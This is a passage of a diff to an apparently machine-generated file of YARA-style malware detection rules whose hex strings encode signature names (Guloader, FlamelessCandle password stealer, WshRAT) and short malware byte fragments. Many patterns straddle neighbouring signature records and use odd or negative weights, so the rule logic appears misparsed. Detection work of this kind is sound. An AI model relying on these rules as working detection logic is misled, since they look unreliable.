4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 5a 38 39 00 01 00 09 00 20 00 7c 01 00 0d 07 08 09 01 00 25 81 01 24 31 37 62 36 30 66 34 63 2d 38 61 39 31 2d 34 37 31 35 2d 38 64 32 63 2d 33 30 33 66 37 62 38 37 30 30 66 } //18467 - $a_75_2 = {75 62 65 44 6f 77 6e 6c 6f 61 64 65 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 97 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 4d 31 32 33 21 4d 54 42 00 01 00 26 81 01 62 72 69 73 61 6e 74 65 73 20 66 6f 72 61 72 62 } //22785 + $a_75_2 = {75 62 65 44 6f 77 6e 6c 6f 61 64 65 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 97 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 5a 30 31 21 4d 54 42 00 01 00 2c 81 01 64 72 61 61 62 6e 69 6e 67 65 72 } //22785 condition: ((#a_54_0 & 1)*18467+(#a_75_2 & 1)*22785) >=3 } -rule _InfrastructureShared_10314{ +rule _InfrastructureShared_10977{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 5a 30 31 21 4d 54 42 00 01 00 2c 81 01 64 72 61 61 62 6e 69 6e 67 65 72 73 20 73 6c 61 6e 67 65 62 69 6e 64 65 72 65 6e 73 20 61 6b 74 69 76 69 74 65 74 73 73 6b 72 6d 65 01 } //18467 + $a_01_1 = {74 65 6c 65 66 6f 6e 62 6f 6d 62 65 6e 20 65 64 64 65 72 6b 6f 70 70 65 72 6e 65 20 66 72 65 6d 67 61 61 72 01 00 09 81 01 63 68 65 72 6e 69 74 65 73 00 00 78 97 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 4d 31 32 33 21 4d 54 42 00 01 00 26 81 01 62 72 69 73 61 6e 74 65 73 20 66 6f 72 61 72 62 65 6a 64 65 6c 73 65 6e 20 64 69 66 } //9216 + $a_67_2 = {72 69 6e 67 73 01 00 0f 81 01 66 6f 72 64 6c 65 20 76 72 67 65 72 6e 65 73 01 00 29 81 01 61 66 66 72 69 6e 67 73 6d 69 64 64 65 6c 20 61 6e 6c 67 6e 69 6e 67 20 67 72 75 6e 64 6c 6f 76 73 66 6f 72 68 72 65 74 73 00 00 78 97 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 5a 50 31 } //28532 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*9216+(#a_67_2 & 1)*28532) >=3 + +} +rule _InfrastructureShared_10978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -112068,7 +119415,7 @@ rule _InfrastructureShared_10314{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29302+(#a_73_2 & 1)*28257) >=3 } -rule _InfrastructureShared_10315{ +rule _InfrastructureShared_10979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -112080,7 +119427,7 @@ rule _InfrastructureShared_10315{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29801+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_10316{ +rule _InfrastructureShared_10980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -112092,47 +119439,58 @@ rule _InfrastructureShared_10316{ ((#a_4c_0 & 1)*21539+(#a_77_1 & 1)*29766+(#a_61_2 & 1)*29550) >=3 } -rule _InfrastructureShared_10317{ +rule _InfrastructureShared_10981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 49 6e 73 74 61 6c 6c 43 6f 72 65 2e 50 21 4d 54 42 00 02 00 0b 80 01 49 6e 73 74 61 6c 6c 43 6f 72 65 01 00 16 80 01 61 64 6d 69 6e 40 63 6c 69 63 6b 72 75 6e 73 6f 66 74 77 61 72 65 01 00 24 80 01 } //16675 $a_74_1 = {6c 6c 65 72 20 50 6f 77 65 72 65 64 20 62 79 20 69 6e 73 74 61 6c 6c 63 6f 72 65 2e 63 6f 6d 01 00 14 80 01 74 65 61 6d 40 69 6e 73 74 61 6c 6c 63 6f 72 65 2e 63 6f 6d 00 00 78 97 00 00 03 00 03 00 04 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 41 72 63 61 64 65 57 65 62 00 01 00 16 01 41 72 63 61 64 65 57 65 62 20 55 6e 69 6e 73 74 61 6c } //28233 - $a_00_2 = {01 00 13 01 25 73 5c 61 72 63 61 64 65 77 65 62 33 32 2e 64 6c 6c 00 01 00 1e 01 53 6f 66 74 77 61 72 65 5c 41 70 70 44 61 74 61 4c 6f 77 5c 41 72 63 61 64 65 57 65 62 00 01 00 1f 01 61 72 63 61 64 65 77 65 62 2e 63 6f 6d 2f 61 6a 2f 64 65 61 63 74 69 76 61 74 65 2e 70 68 70 00 00 78 97 00 00 03 00 03 00 06 00 21 23 41 4c 46 3a 59 32 56 3a } //25964 - $a_6f_3 = {5f 4d 61 6c 77 61 72 65 5f 5a 4c 61 62 2f 4d 41 4c 5f 57 73 68 52 41 54 5f 44 6f 74 6e 65 74 5f 50 61 63 6b 65 72 5f 46 65 62 32 31 00 01 00 0a 01 be dd 60 8c 34 49 9a 54 d2 40 01 00 08 01 1d d7 24 22 47 a6 b1 a5 01 00 09 01 13 30 03 00 07 00 00 00 01 01 00 09 01 11 02 03 7d 78 00 00 04 2a 01 00 08 01 a8 8a f4 c8 61 2b ca 07 01 00 0f 01 15 } //28505 + $a_00_2 = {01 00 13 01 25 73 5c 61 72 63 61 64 65 77 65 62 33 32 2e 64 6c 6c 00 01 00 1e 01 53 6f 66 74 77 61 72 65 5c 41 70 70 44 61 74 61 4c 6f 77 5c 41 72 63 61 64 65 57 65 62 00 01 00 1f 01 61 72 63 61 64 65 77 65 62 2e 63 6f 6d 2f 61 6a 2f 64 65 61 63 74 69 76 61 74 65 2e 70 68 70 00 00 78 97 00 00 03 00 03 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 } //25964 + $a_64_3 = {70 74 69 76 65 43 68 61 6d 65 6c 65 6f 6e 2e 41 00 01 00 1b 03 8b 10 0f ca 89 d1 48 8b 44 24 28 48 8b 5c 24 30 e8 90 01 04 48 83 c4 18 5d 90 00 01 00 0d 01 48 83 c0 04 48 8b 5c 24 60 48 89 f9 e8 } //12084 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28233+(#a_00_2 & 1)*25964+(#a_6f_3 & 1)*28505) >=3 + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28233+(#a_00_2 & 1)*25964+(#a_64_3 & 1)*12084) >=3 } -rule _InfrastructureShared_10318{ +rule _InfrastructureShared_10982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_77_0 = {72 65 3a 57 69 6e 33 32 2f 41 72 63 61 64 65 57 65 62 00 01 00 16 01 41 72 63 61 64 65 57 65 62 20 55 6e 69 6e 73 74 61 6c 6c 65 72 00 01 00 13 01 25 73 5c 61 72 63 61 64 65 77 65 62 33 32 2e 64 6c 6c 00 01 00 1e 01 53 6f 66 74 77 61 72 65 5c 41 70 70 44 61 74 61 4c 6f 77 5c 41 72 63 61 64 65 57 65 } //16675 $a_00_1 = {1f } //98 - $a_63_2 = {64 65 77 65 62 2e 63 6f 6d 2f 61 6a 2f 64 65 61 63 74 69 76 61 74 65 2e 70 68 70 00 00 78 97 00 00 03 00 03 00 06 00 21 23 41 4c 46 3a 59 32 56 3a 59 6f 72 6f 69 5f 4d 61 6c 77 61 72 65 5f 5a 4c 61 62 2f 4d 41 4c 5f 57 73 68 52 41 54 5f 44 6f 74 6e 65 74 5f 50 61 63 6b 65 72 5f 46 65 62 32 31 00 01 00 0a 01 be dd 60 8c 34 49 9a 54 d2 40 01 } //24833 - $a_1d_3 = {24 } //2048 $ + $a_63_2 = {64 65 77 65 62 2e 63 6f 6d 2f 61 6a 2f 64 65 61 63 74 69 76 61 74 65 2e 70 68 70 00 00 78 97 00 00 03 00 03 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 41 64 61 70 74 69 76 65 43 68 61 6d 65 6c 65 6f 6e 2e 41 00 01 00 1b 03 8b 10 0f ca 89 d1 48 8b 44 24 28 48 8b 5c 24 30 e8 90 01 04 48 83 c4 18 5d 90 00 01 00 0d 01 48 83 c0 04 48 8b 5c 24 } //24833 + $a_f9_3 = {01 00 22 03 48 8b 54 24 40 48 8b 02 48 8b 5a 08 48 8b 4a 10 48 8b 7a 18 48 8b 72 20 90 01 05 48 89 44 24 28 90 00 01 00 15 03 48 8b 08 48 8b 44 24 58 48 8b 5c 24 40 41 b8 90 01 04 e8 90 00 00 00 78 97 00 00 03 00 03 00 06 00 21 23 41 4c 46 3a 59 32 56 3a 59 6f 72 6f 69 5f 4d 61 6c 77 61 72 65 5f 5a 4c 61 62 2f 4d 41 4c 5f 57 73 68 52 41 54 5f 44 6f 74 6e 65 74 5f 50 61 63 6b 65 72 5f 46 65 62 32 31 00 01 00 } //18528 condition: - ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*98+(#a_63_2 & 1)*24833+(#a_1d_3 & 1)*2048) >=3 + ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*98+(#a_63_2 & 1)*24833+(#a_f9_3 & 1)*18528) >=3 } -rule _InfrastructureShared_10319{ +rule _InfrastructureShared_10983{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 41 64 61 70 74 69 76 65 43 68 61 6d 65 6c 65 6f 6e 2e 41 00 01 00 1b 03 8b 10 0f ca 89 d1 48 8b 44 24 28 48 8b 5c 24 30 e8 90 01 04 48 83 c4 18 5d 90 00 01 00 0d 01 48 83 c0 04 48 8b 5c 24 60 48 89 f9 e8 01 00 } //21283 + $a_8b_1 = {24 40 48 8b 02 48 8b 5a 08 48 8b 4a 10 48 8b 7a 18 48 8b 72 20 90 01 05 48 89 44 24 28 90 00 01 00 15 03 48 8b 08 48 8b 44 24 58 48 8b 5c 24 40 41 b8 90 01 04 e8 90 00 00 00 78 97 00 00 03 00 03 00 06 00 21 23 41 4c } //802 + $a_32_2 = {3a 59 6f 72 6f 69 5f 4d 61 6c 77 61 72 65 5f 5a 4c 61 62 2f 4d 41 4c 5f 57 73 68 52 41 54 5f 44 6f 74 6e 65 74 5f 50 61 63 6b 65 72 5f 46 65 62 32 31 00 01 00 0a 01 be dd 60 8c 34 49 9a 54 d2 40 01 00 08 01 1d d7 24 22 47 a6 b1 a5 01 00 09 01 13 30 03 00 07 00 00 00 } //14918 + condition: + ((#a_46_0 & 1)*21283+(#a_8b_1 & 1)*802+(#a_32_2 & 1)*14918) >=3 + +} +rule _InfrastructureShared_10984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " strings : $a_46_0 = {59 32 56 3a 59 6f 72 6f 69 5f 4d 61 6c 77 61 72 65 5f 5a 4c 61 62 2f 4d 41 4c 5f 57 73 68 52 41 54 5f 44 6f 74 6e 65 74 5f 50 61 63 6b 65 72 5f 46 65 62 32 31 00 01 00 0a 01 be dd 60 8c 34 49 9a 54 d2 40 01 00 08 01 1d d7 24 22 } //16675 $a_a5_1 = {00 09 01 13 30 03 00 07 00 00 00 01 01 00 09 01 11 02 03 7d 78 00 00 04 2a 01 00 08 01 a8 8a f4 c8 61 2b ca 07 01 00 0f 01 15 ae 5e ab 5a 20 fe b5 56 b4 61 2b bb 06 2a 00 00 78 97 00 00 04 00 04 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 57 75 76 73 6b 65 64 2e 41 31 00 04 00 38 01 56 00 56 00 42 00 45 00 51 00 56 00 52 00 46 00 58 00 7a 00 49 00 78 00 4c 00 7a 00 41 00 78 00 4c 00 6b 00 52 00 70 00 62 00 6d 00 39 00 45 00 65 00 67 00 3d 00 3d 00 02 00 26 01 73 00 75 00 6d 00 73 00 66 00 2e 00 73 00 79 00 73 00 74 00 } //-22969 - $a_00_2 = {2d 00 6e 00 73 00 2e 00 6e 00 65 00 74 00 02 00 0c 01 44 00 69 00 6e 00 6f 00 44 00 7a 00 00 00 78 97 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 53 48 21 4d 54 42 00 01 00 24 80 01 33 39 65 37 36 61 62 64 2d 36 63 34 38 2d 34 62 35 33 2d 62 39 64 66 2d 31 } //101 - $a_64_3 = {62 66 36 38 63 30 01 00 1b 00 4d 74 47 6f 78 54 72 61 64 65 72 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 08 01 47 65 74 50 69 78 65 } //13113 - $a_59_5 = {63 73 78 31 52 38 43 47 49 38 36 61 5a 00 00 78 97 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 65 6e 65 72 69 63 5f 38 38 39 62 31 32 34 38 00 01 00 13 80 01 42 45 4c 41 52 55 53 2d 56 49 52 55 53 2d 4d 41 4b 45 52 01 00 10 80 01 43 3a 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 01 } //20822 + $a_00_2 = {2d 00 6e 00 73 00 2e 00 6e 00 65 00 74 00 02 00 0c 01 44 00 69 00 6e 00 6f 00 44 00 7a 00 00 00 78 97 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 50 57 53 3a 57 69 6e 36 34 2f 46 6c 61 6d 65 6c 65 73 73 43 61 6e 64 6c 65 2e 41 21 64 68 61 00 03 00 3a 43 45 33 c9 45 33 c0 33 d2 48 8d 4d 90 01 01 ff 15 90 01 04 85 c0 0f 84 90 01 } //101 + $a_90_3 = {01 83 f8 12 0f 84 90 01 04 3d 01 04 00 00 0f 82 90 01 04 3d 05 04 00 00 0f 83 90 00 01 00 0e 01 68 6f 6f 6b 5f 69 6e 70 75 74 2e 64 6c 6c 01 00 08 01 53 74 6f 70 48 6f 6f 6b 01 00 09 01 53 74 61 72 74 48 6f } //-29948 condition: - ((#a_46_0 & 1)*16675+(#a_a5_1 & 1)*-22969+(#a_00_2 & 1)*101+(#a_64_3 & 1)*13113+(#a_59_5 & 1)*20822) >=3 + ((#a_46_0 & 1)*16675+(#a_a5_1 & 1)*-22969+(#a_00_2 & 1)*101+(#a_90_3 & 1)*-29948) >=3 } -rule _InfrastructureShared_10320{ +rule _InfrastructureShared_10985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -112143,7 +119501,18 @@ rule _InfrastructureShared_10320{ ((#a_46_0 & 1)*16675+(#a_73_2 & 1)*9728) >=4 } -rule _InfrastructureShared_10321{ +rule _InfrastructureShared_10986{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {50 57 53 3a 57 69 6e 36 34 2f 46 6c 61 6d 65 6c 65 73 73 43 61 6e 64 6c 65 2e 41 21 64 68 61 00 03 00 3a 43 45 33 c9 45 33 c0 33 d2 48 8d 4d 90 01 01 ff 15 90 01 04 85 c0 0f 84 90 01 04 8b 45 90 01 01 83 f8 12 0f 84 90 01 04 3d } //16675 + $a_01_2 = {04 3d 05 04 00 00 0f 83 90 00 01 00 0e 01 68 6f 6f 6b 5f 69 6e 70 75 74 2e 64 6c 6c 01 00 08 01 53 74 6f 70 48 6f 6f 6b 01 00 09 01 53 74 61 72 74 48 6f 6f 6b 00 00 78 97 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 53 48 21 4d 54 42 00 01 00 24 80 01 33 39 65 37 36 61 62 64 2d 36 63 34 38 2d 34 62 35 33 2d 62 39 64 66 2d 31 39 33 30 64 37 62 66 36 38 63 30 01 } //-32241 + condition: + ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*-32241) >=4 + +} +rule _InfrastructureShared_10987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -112156,7 +119525,7 @@ rule _InfrastructureShared_10321{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29773+(#a_54_2 & 1)*17996+(#a_69_3 & 1)*23610) >=4 } -rule _InfrastructureShared_10322{ +rule _InfrastructureShared_10988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -112168,7 +119537,7 @@ rule _InfrastructureShared_10322{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*10496+(#a_00_3 & 1)*73) >=4 } -rule _InfrastructureShared_10323{ +rule _InfrastructureShared_10989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -112180,20 +119549,33 @@ rule _InfrastructureShared_10323{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*24937+(#a_52_3 & 1)*21320) >=4 } -rule _InfrastructureShared_10324{ +rule _InfrastructureShared_10990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 72 65 6b 6c 61 6d 69 2e 50 50 53 48 00 01 00 15 80 01 4c 46 56 79 43 76 47 78 6f 57 4c 56 70 74 54 78 43 53 7a 58 46 01 00 0f 80 01 6b 6d 45 6f 72 65 5a 6b 47 41 54 41 59 48 7a 01 00 18 80 01 4a 43 } //18467 - $a_48_1 = {45 67 4b 6e 69 5a 79 6f 73 50 4c 58 61 4b 57 73 4a 01 00 1b 80 01 74 54 59 5a 46 7a 71 78 61 74 4d 58 79 61 6f 56 61 50 69 4c 68 54 50 69 50 6b 7a 00 00 78 97 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 41 4c 31 32 33 21 4d 54 42 00 01 00 17 81 01 61 66 73 6b 65 72 20 63 75 72 73 6f 72 73 20 61 75 74 6f 6e 6f } //30069 - $a_00_2 = {07 } //29805 - $a_75_3 = {6c 70 65 6e 01 00 16 81 01 73 6d 61 61 73 70 61 72 65 72 6e 65 73 20 63 61 76 6c 69 6e 67 73 01 00 25 81 01 72 65 76 6f 6c 76 65 72 6a 6f 75 72 6e 61 6c 69 73 74 69 6b 73 20 62 69 70 6c 61 6e 65 20 73 61 6e 64 64 72 75 00 00 78 97 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f } //385 + $a_48_1 = {45 67 4b 6e 69 5a 79 6f 73 50 4c 58 61 4b 57 73 4a 01 00 1b 80 01 74 54 59 5a 46 7a 71 78 61 74 4d 58 79 61 6f 56 61 50 69 4c 68 54 50 69 50 6b 7a 00 00 78 97 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 4f 30 31 21 4d 54 42 00 01 00 11 81 01 6d 61 63 72 6f 73 79 6d 62 69 6f 6e 74 2e 65 78 65 01 00 25 81 01 6f } //30069 + $a_76_2 = {64 65 73 20 67 72 61 66 69 6b 70 72 6f 67 72 61 6d 6d 65 72 20 61 6e 74 69 74 72 61 67 61 6c 01 00 18 81 01 44 65 73 65 72 74 69 6f 6e 65 72 5c 75 73 6b 69 6b 6b 65 6e 2e 67 69 66 01 00 0d 81 01 46 79 67 65 76 65 6a 72 73 2e 56 61 6e 00 00 78 97 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 } //27504 + $a_32_3 = {21 4d 54 42 00 01 00 17 81 01 61 66 73 6b 65 72 20 63 75 72 73 6f 72 73 20 61 75 74 6f 6e 6f 6d 74 01 00 07 81 01 62 75 6c 6c 70 65 6e 01 00 16 81 } //19521 condition: - ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*30069+(#a_00_2 & 1)*29805+(#a_75_3 & 1)*385) >=4 + ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*30069+(#a_76_2 & 1)*27504+(#a_32_3 & 1)*19521) >=4 } -rule _InfrastructureShared_10325{ +rule _InfrastructureShared_10991{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 4f 30 31 21 4d 54 42 00 01 00 11 81 01 6d 61 63 72 6f 73 79 6d 62 69 6f 6e 74 2e 65 78 65 01 00 25 81 01 6f 70 6b 72 76 65 64 65 73 20 67 72 61 66 69 6b 70 72 6f 67 72 61 6d 6d 65 72 20 61 6e 74 } //18467 + $a_61_1 = {61 6c 01 00 18 81 01 44 65 73 65 72 74 69 6f 6e 65 72 5c 75 73 6b 69 6b 6b 65 6e 2e 67 69 66 01 00 0d 81 01 46 79 67 65 76 65 6a 72 73 2e 56 61 6e 00 00 78 97 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 41 4c 31 32 33 21 4d 54 42 00 01 00 17 81 01 61 66 73 6b 65 72 20 63 75 72 73 6f 72 73 } //29801 + $a_74_2 = {6e 6f 6d 74 01 00 07 81 01 62 75 6c 6c 70 65 6e 01 00 16 81 01 73 6d 61 61 73 70 61 72 65 72 6e 65 73 20 63 61 76 6c 69 6e 67 73 01 00 25 81 01 72 65 76 6f 6c 76 65 72 6a 6f 75 72 6e 61 6c 69 73 74 69 6b 73 20 62 69 70 6c 61 6e 65 20 73 61 6e 64 64 72 75 00 00 78 97 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 } //24864 + $a_45_3 = {4c 31 32 33 21 4d 54 42 00 01 00 1d 81 01 67 6c 61 6d 6f 75 72 69 7a 65 20 61 6c 70 68 61 74 6f 6c 75 69 63 20 68 75 74 6c 65 73 01 00 16 81 01 61 64 68 65 72 65 64 20 64 69 73 6b 65 74 74 65 6c 61 61 73 65 6e 01 00 0a 81 01 } //11890 + condition: + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29801+(#a_74_2 & 1)*24864+(#a_45_3 & 1)*11890) >=4 + +} +rule _InfrastructureShared_10992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -112206,7 +119588,7 @@ rule _InfrastructureShared_10325{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*25966+(#a_6c_2 & 1)*29793+(#a_64_3 & 1)*28524) >=4 } -rule _InfrastructureShared_10326{ +rule _InfrastructureShared_10993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -112218,7 +119600,7 @@ rule _InfrastructureShared_10326{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*24940+(#a_6d_2 & 1)*385) >=4 } -rule _InfrastructureShared_10327{ +rule _InfrastructureShared_10994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -112230,7 +119612,7 @@ rule _InfrastructureShared_10327{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*26736+(#a_72_2 & 1)*1024) >=4 } -rule _InfrastructureShared_10328{ +rule _InfrastructureShared_10995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -112245,7 +119627,7 @@ rule _InfrastructureShared_10328{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*26165+(#a_09_2 & 1)*4412+(#a_06_3 & 1)*2193+(#a_20_4 & 1)*-28323+(#a_4a_5 & 1)*19529) >=4 } -rule _InfrastructureShared_10329{ +rule _InfrastructureShared_10996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -112256,7 +119638,7 @@ rule _InfrastructureShared_10329{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4359) >=5 } -rule _InfrastructureShared_10330{ +rule _InfrastructureShared_10997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -112269,7 +119651,7 @@ rule _InfrastructureShared_10330{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*2560+(#a_65_2 & 1)*385+(#a_23_3 & 1)*5) >=5 } -rule _InfrastructureShared_10331{ +rule _InfrastructureShared_10998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -112283,7 +119665,7 @@ rule _InfrastructureShared_10331{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*17665+(#a_55_2 & 1)*14918+(#a_74_3 & 1)*384+(#a_53_4 & 1)*14958) >=5 } -rule _InfrastructureShared_10332{ +rule _InfrastructureShared_10999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -112297,7 +119679,7 @@ rule _InfrastructureShared_10332{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28206+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_10333{ +rule _InfrastructureShared_11000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -112311,7 +119693,7 @@ rule _InfrastructureShared_10333{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*54+(#a_4c_2 & 1)*26162+(#a_74_3 & 1)*30313+(#a_4d_4 & 1)*12851) >=5 } -rule _InfrastructureShared_10334{ +rule _InfrastructureShared_11001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -112325,7 +119707,7 @@ rule _InfrastructureShared_10334{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*16641+(#a_32_2 & 1)*17473+(#a_72_3 & 1)*30540+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_10335{ +rule _InfrastructureShared_11002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -112339,7 +119721,7 @@ rule _InfrastructureShared_10335{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*29288+(#a_54_2 & 1)*-32493+(#a_6f_3 & 1)*29550+(#a_54_4 & 1)*18467) >=5 } -rule _InfrastructureShared_10336{ +rule _InfrastructureShared_11003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -112352,7 +119734,7 @@ rule _InfrastructureShared_10336{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*17012+(#a_63_2 & 1)*27714+(#a_54_3 & 1)*28261) >=5 } -rule _InfrastructureShared_10337{ +rule _InfrastructureShared_11004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -112365,7 +119747,7 @@ rule _InfrastructureShared_10337{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*17012+(#a_63_2 & 1)*27714+(#a_54_3 & 1)*28261) >=5 } -rule _InfrastructureShared_10338{ +rule _InfrastructureShared_11005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -112379,7 +119761,7 @@ rule _InfrastructureShared_10338{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*17012+(#a_34_2 & 1)*14381+(#a_70_3 & 1)*23159+(#a_02_4 & 1)*47) >=5 } -rule _InfrastructureShared_10339{ +rule _InfrastructureShared_11006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -112393,7 +119775,7 @@ rule _InfrastructureShared_10339{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*18023+(#a_00_2 & 1)*110+(#a_69_3 & 1)*14958+(#a_41_4 & 1)*28777) >=5 } -rule _InfrastructureShared_10340{ +rule _InfrastructureShared_11007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -112407,7 +119789,7 @@ rule 